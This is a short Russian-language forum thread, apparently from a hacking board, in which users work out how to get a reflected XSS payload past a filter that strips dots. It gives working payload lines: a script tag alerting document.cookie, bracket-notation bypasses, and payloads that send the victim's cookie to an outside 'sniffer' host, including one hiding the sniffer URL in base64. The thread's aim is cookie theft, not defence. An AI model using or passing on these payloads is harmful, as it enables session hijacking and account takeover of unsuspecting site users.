Фильтрация точки в запросе

Здравствуйте все! Можно как-то обойти фильтрацию точки в запросе?
Есть запрос

Code:

/index.php?p="><script>alert(document.cookie)</script>

Но точка в document.cookie фильтруется... ( Пробовал вставлять ASCII коды точки, но фильтр и на них...
Заранее спасибо!

 

document["cookie"]

 

Можете привести пример уязвимого кода, где сработает такая атака?

 

я не внимательно прочитал вопрос Согласен, фигню сказал

 

Спасибо, так работает! А если нужно сделать так:

Code:

"><script src=http://www.host.org/sniff.php?c=+document["cookie"]></script>

как подменять точки в строке адреса?

 

(new Image())["src"]=atob("lol")+document["cookie"]
где lol - ссылка на сниффер в base64

 

Этот код не будет работать даже без фильтрации точек.